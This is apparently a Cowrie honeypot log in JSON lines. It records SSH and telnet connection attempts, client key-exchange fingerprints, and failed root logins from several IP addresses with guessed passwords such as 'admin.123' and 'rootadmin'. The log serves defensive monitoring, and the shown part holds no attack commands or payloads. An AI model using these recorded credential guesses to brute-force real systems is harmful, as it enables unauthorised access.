{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:10:09.749120Z","src_ip":"103.15.226.202","session":"53360b2e82f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.123","message":"login attempt [root/admin.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:10:10.508134Z","src_ip":"103.15.226.202","session":"53360b2e82f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:10:11.762642Z","src_ip":"103.15.226.202","session":"53360b2e82f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.63.205.218","src_port":40902,"dst_ip":"10.17.0.5","dst_port":22,"session":"9015a212b6d1","protocol":"ssh","message":"New connection: 116.63.205.218:40902 (10.17.0.5:22) [session: 9015a212b6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:10:34.322644Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":24747,"dst_ip":"10.17.0.5","dst_port":22,"session":"477a1e771905","protocol":"ssh","message":"New connection: 27.74.248.52:24747 (10.17.0.5:22) [session: 477a1e771905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:11:37.710809Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:11:38.165841Z","src_ip":"27.74.248.52","session":"477a1e771905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":24831,"dst_ip":"10.17.0.5","dst_port":22,"session":"90435cd75668","protocol":"ssh","message":"New connection: 27.74.248.52:24831 (10.17.0.5:22) [session: 90435cd75668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:11:38.622158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:11:38.626295Z","src_ip":"27.74.248.52","session":"90435cd75668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:11:39.085871Z","src_ip":"27.74.248.52","session":"90435cd75668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:11:40.514052Z","src_ip":"27.74.248.52","session":"90435cd75668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:11:41.977097Z","src_ip":"27.74.248.52","session":"90435cd75668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:12:34.347435Z","src_ip":"116.63.205.218","session":"9015a212b6d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":60106,"dst_ip":"10.17.0.5","dst_port":23,"session":"f929527a4a25","protocol":"telnet","message":"New connection: 103.153.183.192:60106 (10.17.0.5:23) [session: f929527a4a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:12:44.958176Z"}
{"eventid":"cowrie.session.closed","duration":0.005174398422241211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:12:44.963202Z","src_ip":"103.153.183.192","session":"f929527a4a25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62498,"dst_ip":"10.17.0.5","dst_port":22,"session":"53e1969e9c84","protocol":"ssh","message":"New connection: 194.59.206.2:62498 (10.17.0.5:22) [session: 53e1969e9c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:22.978686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:22.983603Z","src_ip":"194.59.206.2","session":"53e1969e9c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:23.069506Z","src_ip":"194.59.206.2","session":"53e1969e9c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:23.159067Z","src_ip":"194.59.206.2","session":"53e1969e9c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.105.69","src_port":56416,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7d78c72a693","protocol":"ssh","message":"New connection: 180.76.105.69:56416 (10.17.0.5:22) [session: c7d78c72a693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:38.367008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:38.372281Z","src_ip":"180.76.105.69","session":"c7d78c72a693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:40.327036Z","src_ip":"180.76.105.69","session":"c7d78c72a693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54446,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d61667d0ba","protocol":"ssh","message":"New connection: 103.15.226.202:54446 (10.17.0.5:22) [session: 20d61667d0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:44.444217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:44.449093Z","src_ip":"103.15.226.202","session":"20d61667d0ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:44.703681Z","src_ip":"103.15.226.202","session":"20d61667d0ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:45.465500Z","src_ip":"103.15.226.202","session":"20d61667d0ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:13:46.721540Z","src_ip":"103.15.226.202","session":"20d61667d0ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.183.150.145","src_port":47898,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aa9068cae0b","protocol":"telnet","message":"New connection: 178.183.150.145:47898 (10.17.0.5:23) [session: 5aa9068cae0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:15:16.202024Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":32840,"dst_ip":"10.17.0.5","dst_port":22,"session":"791ab9d7c96c","protocol":"ssh","message":"New connection: 103.84.236.222:32840 (10.17.0.5:22) [session: 791ab9d7c96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:15:18.725153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:15:18.729908Z","src_ip":"103.84.236.222","session":"791ab9d7c96c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:15:18.965083Z","src_ip":"103.84.236.222","session":"791ab9d7c96c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"santa","message":"login attempt [root/santa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:15:19.936407Z","src_ip":"103.84.236.222","session":"791ab9d7c96c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:15:21.174586Z","src_ip":"103.84.236.222","session":"791ab9d7c96c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.235270500183105,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:15:29.437179Z","src_ip":"178.183.150.145","session":"5aa9068cae0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:15:38.377104Z","src_ip":"180.76.105.69","session":"c7d78c72a693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":49332,"dst_ip":"10.17.0.5","dst_port":22,"session":"d64ef76eecb5","protocol":"ssh","message":"New connection: 103.84.236.222:49332 (10.17.0.5:22) [session: d64ef76eecb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:16:21.884590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:16:21.890294Z","src_ip":"103.84.236.222","session":"d64ef76eecb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:16:22.124205Z","src_ip":"103.84.236.222","session":"d64ef76eecb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa44word","message":"login attempt [root/Pa44word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:16:23.088667Z","src_ip":"103.84.236.222","session":"d64ef76eecb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:16:24.325445Z","src_ip":"103.84.236.222","session":"d64ef76eecb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.191.77.179","src_port":13368,"dst_ip":"10.17.0.5","dst_port":23,"session":"597fb386ac11","protocol":"telnet","message":"New connection: 196.191.77.179:13368 (10.17.0.5:23) [session: 597fb386ac11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:16:39.358636Z"}
{"eventid":"cowrie.session.closed","duration":13.123635053634644,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:16:52.482151Z","src_ip":"196.191.77.179","session":"597fb386ac11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":41538,"dst_ip":"10.17.0.5","dst_port":22,"session":"1118f3719e4c","protocol":"ssh","message":"New connection: 202.145.0.61:41538 (10.17.0.5:22) [session: 1118f3719e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:16:58.810425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:16:58.816100Z","src_ip":"202.145.0.61","session":"1118f3719e4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 